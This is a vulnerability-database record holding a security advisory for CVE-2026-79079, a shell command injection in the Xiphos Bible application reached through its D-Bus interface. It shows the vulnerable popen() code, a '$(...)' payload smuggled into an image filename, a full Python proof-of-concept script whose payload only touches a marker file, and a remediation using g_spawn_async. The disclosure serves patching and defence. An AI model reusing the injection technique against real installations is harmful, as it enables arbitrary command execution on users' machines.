{"uuid": "8cec87c2-458c-44d9-b74e-a334a060697f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-79079", "type": "seen", "source": "https://gist.github.com/lggcs/c1f98ce55ced44472651b9590d9f199a", "content": "# Xiphos OS Command Injection via D-Bus Image URL\n\n**CVE:** CVE-2026-79079  \n**CWE:** CWE-78 \u2014 Improper Neutralization of Special Elements used in an OS Command (\u201cOS Command Injection\u201d)  \n**Product:** Xiphos Bible study application  \n**Affected component:** `src/main/url.cc`, function `show_separate_image()`\n\n## Summary\n\nXiphos allows attacker-controlled image filename data to reach a shell command executed by `popen()`. Shell metacharacters and command substitutions in the filename are interpreted by the shell, allowing arbitrary command execution with the privileges of the Xiphos process.\n\nThe issue can be triggered through the Xiphos D-Bus interface when a crafted reference is sent to a running Xiphos instance.\n\n## Vulnerable code\n\nThe affected function constructs a command similar to:\n\n```c\ng_string_printf(cmd,\n                \"%s \\\"%s\\\" &lt; /dev/null &gt; /dev/null 2&gt;&amp;1 &amp;\",\n                display_progs[i],\n                filename);\n\nresult = popen(cmd-&gt;str, \"r\");\n```\n\nThe `filename` value is derived from URL input. Enclosing the value in double quotes does not prevent shell command substitution. For example, a filename containing:\n\n```text\n/tmp/x$(touch /tmp/xiphos_rce_proof).png\n```\n\ncauses the shell to execute `touch /tmp/xiphos_rce_proof` while expanding the command substitution.\n\n## D-Bus attack path\n\nThe tested attack path is:\n\n```text\nD-Bus setCurrentReference()\n  \u2192 on_handle_set_current_reference()\n  \u2192 ipc_object_set_current_reference()\n  \u2192 main_url_handler(reference, TRUE)\n  \u2192 showImage URL action\n  \u2192 show_separate_image(filename, ...)\n  \u2192 popen() shell command execution\n```\n\nRelevant code paths identified during testing:\n\n```text\nsrc/gtk/ipc.c      on_handle_set_current_reference()\nsrc/gtk/ipc.c      ipc_object_set_current_reference()\nsrc/main/url.cc    main_url_handler()\nsrc/main/url.cc    show_separate_image()\n```\n\n## Prerequisites\n\n- Xiphos must be running.\n- The Xiphos D-Bus service must be available on the session bus.\n- The tester must have access to the relevant session D-Bus.\n\nOn a typical single-user Linux desktop, another process running under the same user may be able to access that user's session bus.\n\n## Safe proof of concept\n\nThe following proof of concept uses only a harmless marker-file operation. It does not open a network connection, create a reverse shell, modify system files, execute downloaded content, or attempt persistence.\n\nIt sends a crafted reference to Xiphos and checks whether the marker file was created.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSafe proof of concept for CVE-2026-79079.\n\nThis PoC demonstrates shell command injection in Xiphos through the\nD-Bus setCurrentReference() method. The only command executed by the\npayload is \"touch\", which creates a temporary marker file.\n\nRequirements:\n    - Python 3\n    - python3-dbus\n    - A running Xiphos instance with its D-Bus service available\n\nUse only against a test instance that you own or are authorized to test.\n\"\"\"\n\nimport os\nimport sys\nimport time\n\nimport dbus\n\n\nBUS_NAME = \"org.xiphos.remote\"\nOBJECT_PATH = \"/org/xiphos/remote/ipc\"\nINTERFACE_NAME = \"org.xiphos.remote\"\n\nPROOF_FILE = \"/tmp/xiphos_cve_2026_79079_proof\"\n\n\ndef get_xiphos_interface():\n    bus = dbus.SessionBus()\n    proxy = bus.get_object(BUS_NAME, OBJECT_PATH)\n    return dbus.Interface(proxy, INTERFACE_NAME)\n\n\ndef main():\n    print(\"Xiphos CVE-2026-79079 safe proof of concept\")\n    print()\n\n    # Remove a marker left by a previous test.\n    try:\n        os.remove(PROOF_FILE)\n    except FileNotFoundError:\n        pass\n\n    try:\n        interface = get_xiphos_interface()\n    except dbus.exceptions.DBusException as error:\n        print(\"Unable to access the Xiphos D-Bus interface:\")\n        print(f\"  {error}\")\n        print()\n        print(\"Make sure Xiphos is running and the session D-Bus is available.\")\n        return 1\n\n    # The shell substitution below is intentionally limited to creating\n    # the harmless proof file. It does not contact another system or modify\n    # anything outside /tmp.\n    payload = (\n        \"/tmp/x\"\n        \"$(touch /tmp/xiphos_cve_2026_79079_proof)\"\n        \".png\"\n    )\n\n    reference = (\n        \"passagestudy.jsp\"\n        \"?action=showImage\"\n        f\"&amp;value={payload}\"\n    )\n\n    print(\"Sending crafted reference through D-Bus...\")\n    print(f\"  {reference}\")\n\n    try:\n        interface.setCurrentReference(reference)\n    except dbus.exceptions.DBusException as error:\n        print(\"The D-Bus request failed:\")\n        print(f\"  {error}\")\n        return 1\n\n    # Allow the Xiphos process and its child shell time to handle the request.\n    time.sleep(1.5)\n\n    if os.path.exists(PROOF_FILE):\n        print()\n        print(\"Result: marker file was created.\")\n        print(f\"  {PROOF_FILE}\")\n        print(\"This demonstrates shell command execution through the vulnerable path.\")\n\n        # Clean up the marker created by the test.\n        try:\n            os.remove(PROOF_FILE)\n        except OSError:\n            pass\n\n        return 0\n\n    print()\n    print(\"Result: marker file was not detected.\")\n    print(\"Possible causes include:\")\n    print(\"- Xiphos is not running the affected code path.\")\n    print(\"- The D-Bus request was not processed.\")\n    print(\"- The image-viewer command was not launched.\")\n    print(\"- The installed version is not affected.\")\n\n    return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Reproduction steps\n\n1. Start Xiphos.\n2. Ensure the Python D-Bus bindings are installed.\n3. Save the PoC as `xiphos_cve_2026_79079_poc.py`.\n4. Run it as the same user whose Xiphos session is being tested:\n\n```bash\npython3 xiphos_cve_2026_79079_poc.py\n```\n\n5. A vulnerable instance creates the temporary marker file:\n\n```text\n/tmp/xiphos_cve_2026_79079_proof\n```\n\nThe PoC removes the marker after detecting it.\n\n## Impact\n\nAn attacker able to deliver a crafted reference to a running Xiphos instance may execute arbitrary operating-system commands with the privileges of the Xiphos process.\n\nThe D-Bus interface provides a direct local attack path. Other possible delivery paths may include:\n\n- The `xiphos://` protocol handler.\n- Crafted links in Sword module content.\n- Other input paths that pass attacker-controlled references to `main_url_handler()`.\n- BibleSync input, if the affected code path is reachable through that feature.\n\nThe D-Bus path tested by the included PoC does not require the victim to click a link after Xiphos is already running.\n\n## Root cause\n\nThe root cause is the interpolation of attacker-controlled data into a shell command passed to `popen()`:\n\n```text\nattacker-controlled filename\n    \u2192 formatted shell command\n    \u2192 popen()\n    \u2192 shell interpretation\n```\n\nDouble-quoting the filename is insufficient because shell command substitutions such as `$()` are still evaluated inside double quotes.\n\n## Remediation\n\nAvoid constructing a shell command string. Launch the image-viewing program with an argument-vector-based API such as `g_spawn_async()`:\n\n```c\ngchar *argv[] = {\n    (gchar *)display_program,\n    (gchar *)filename,\n    NULL\n};\n\ng_spawn_async(NULL,\n              argv,\n              NULL,\n              G_SPAWN_SEARCH_PATH,\n              NULL,\n              NULL,\n              NULL,\n              &amp;error);\n```\n\nThe exact implementation should follow the project's existing process-management and error-handling conventions. The important security property is that the executable and filename are passed as separate arguments without invoking a shell.\n\n## Affected versions\n\n```text\n&lt;=4.3.2\n```\n\n## Fixed versions\n\n```\n&gt;=4.4.0\n```\n\n## Disclosure and testing notes\n\nTesting was performed against a locally running Xiphos instance using the session D-Bus. The proof of concept is intentionally limited to creating and then deleting a marker file in `/tmp`.\n\nNo reverse shell, network callback, downloaded payload, persistence mechanism, credential access, or destructive command is included.\n\n## CVE mapping\n\nThis report concerns **CVE-2026-79079 only**.\n\nNo additional CVE identifier is claimed or requested for the vulnerability described in this report.", "creation_timestamp": "2026-09-19T17:30:08.519804Z"}